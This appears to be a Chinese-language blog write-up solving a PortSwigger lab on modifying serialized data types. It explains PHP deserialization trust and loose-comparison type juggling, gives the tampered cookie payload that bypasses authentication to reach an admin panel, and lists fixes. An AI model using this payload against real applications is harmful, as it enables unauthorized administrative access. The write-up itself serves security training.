portswigger靶场之修改序列化数据类型通关秘籍

一、漏洞原理(核心)

靶场链接:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

1️⃣ 使用 客户端可控的 PHP 序列化会话

该实验的 Web 应用将用户身份信息直接存储在 Cookie 中的 PHP 序列化对象

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"xxxxxxxx";
}

并在服务器端 直接反序列化并信任其中的字段,这本身就违反了安全设计原则:

❌ 不可信数据不应被反序列化

❌ 客户端数据不应参与权限判断


2️⃣ PHP 7.x 及更早版本的 弱类型比较漏洞(Type Juggling)

PHP 在进行比较时存在如下行为(==):

复制代码
"0" == 0      // true
"admin" == 0  // true

如果服务器端代码类似:

复制代码
if ($user->access_token == 0) {
    // 管理员
}

那么:

  • 字符串 "0"

  • 整数 0

  • 某些非数字字符串

在弱比较下都会被视为 0,从而绕过身份校验。


3️⃣ 漏洞本质总结(一句话)

客户端可控的 PHP 序列化对象 + PHP 弱类型比较(==)
→ 可通过修改字段"类型"实现身份认证绕过


二、漏洞利用流程(完整复现)

Step 1:正常登录

使用提供的凭据登录:

复制代码
wiener : peter

Step 2:查看 Session Cookie(反序列化对象)

在 Burp 中查看登录后的请求:

复制代码
GET /my-account?id=wiener

Cookie 中可看到序列化对象(Inspector 中自动解析):

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"<token>";
}

将该请求 Send to Repeater


Step 3:构造恶意序列化对象(关键)

修改点一:用户名
  • username 长度改为 13

  • 值改为 administrator

    s:8:"username";s:13:"administrator";


修改点二:访问令牌(关键漏洞点)

原来是字符串:

复制代码
s:12:"access_token";s:32:"xxxx";

修改为 整数 0

  • 删除双引号

  • 类型标记 si

    s:12:"access_token";i:0;


✅ 最终 Payload(关键结果)

复制代码
O:4:"User":2:{
  s:8:"username";s:13:"administrator";
  s:12:"access_token";i:0;
}

Burp 会自动完成 Base64 + URL 编码。


Step 4:发送请求并验证身份绕过

发送修改后的请求:

php 复制代码
GET /my-account?id=administrator

🔎 观察响应:

  • 页面中出现 /admin 链接

  • 表明服务器已将你识别为 administrator


Step 5:访问管理面板

复制代码
GET /admin

返回管理员页面,可看到用户列表。


Step 6:删除用户 carlos(完成实验)

php 复制代码
GET /admin/delete?username=carlos

✔️ 用户被删除

✔️ 实验状态变为 Solved


三、关键技术点总结(博客高亮)

漏洞点 说明
客户端反序列化 Cookie 中存储完整 User 对象
缺乏完整性保护 无签名 / MAC / 加密
PHP Type Juggling 使用 == 导致类型混淆
权限逻辑缺陷 access_token 可被用户控制

四、如何修复该漏洞(防御建议)

✅ 1️⃣ 永远不要反序列化不可信数据

  • Cookie 中只存 随机 Session ID

  • 用户信息存于服务器端 Session / 数据库


✅ 2️⃣ 使用严格类型比较(PHP)

复制代码
if ($token === 0) { ... }   // 而不是 ==

✅ 3️⃣ 禁止客户端控制权限字段

复制代码
is_admin
access_token
role

必须由服务器端生成并校验。


✅ 4️⃣ 为 Session 数据添加完整性校验

  • HMAC

  • JWT(正确配置)

  • 服务端 Session 存储


五、一句话结论(实验总结)

本实验利用了 PHP 反序列化信任客户端数据 + 弱类型比较(Type Juggling)的组合漏洞,通过修改序列化字段的数据类型,成功绕过身份认证并获得管理员权限。

相关推荐
lizhenjun11423 分钟前
android修改线程名字长度
android
LCMICRO-1331084774624 分钟前
长芯微LD9689完全P2P替代AD9689,是一款双通道、14位、2.0 GSPS/2.6 GSPS模数转换器(ADC)
网络·单片机·嵌入式硬件·网络协议·fpga开发·硬件工程·高速adc
用户69371750013844 小时前
Google 正在“收紧侧加载”:陌生 APK 安装或需等待 24 小时
android·前端
蓝帆傲亦4 小时前
Web 前端搜索文字高亮实现方法汇总
前端
用户69371750013844 小时前
Room 3.0:这次不是升级,是重来
android·前端·google
漫随流水6 小时前
旅游推荐系统(view.py)
前端·数据库·python·旅游
踩着两条虫7 小时前
VTJ.PRO 核心架构全公开!从设计稿到代码,揭秘AI智能体如何“听懂人话”
前端·vue.js·ai编程
alexhilton7 小时前
Compose中的ContentScale:终极可视化指南
android·kotlin·android jetpack
上海云盾-小余8 小时前
游戏盾与应用防护联动:一站式业务安全防御体系搭建指南
安全·游戏
jzlhll1238 小时前
kotlin Flow first() last()总结
开发语言·前端·kotlin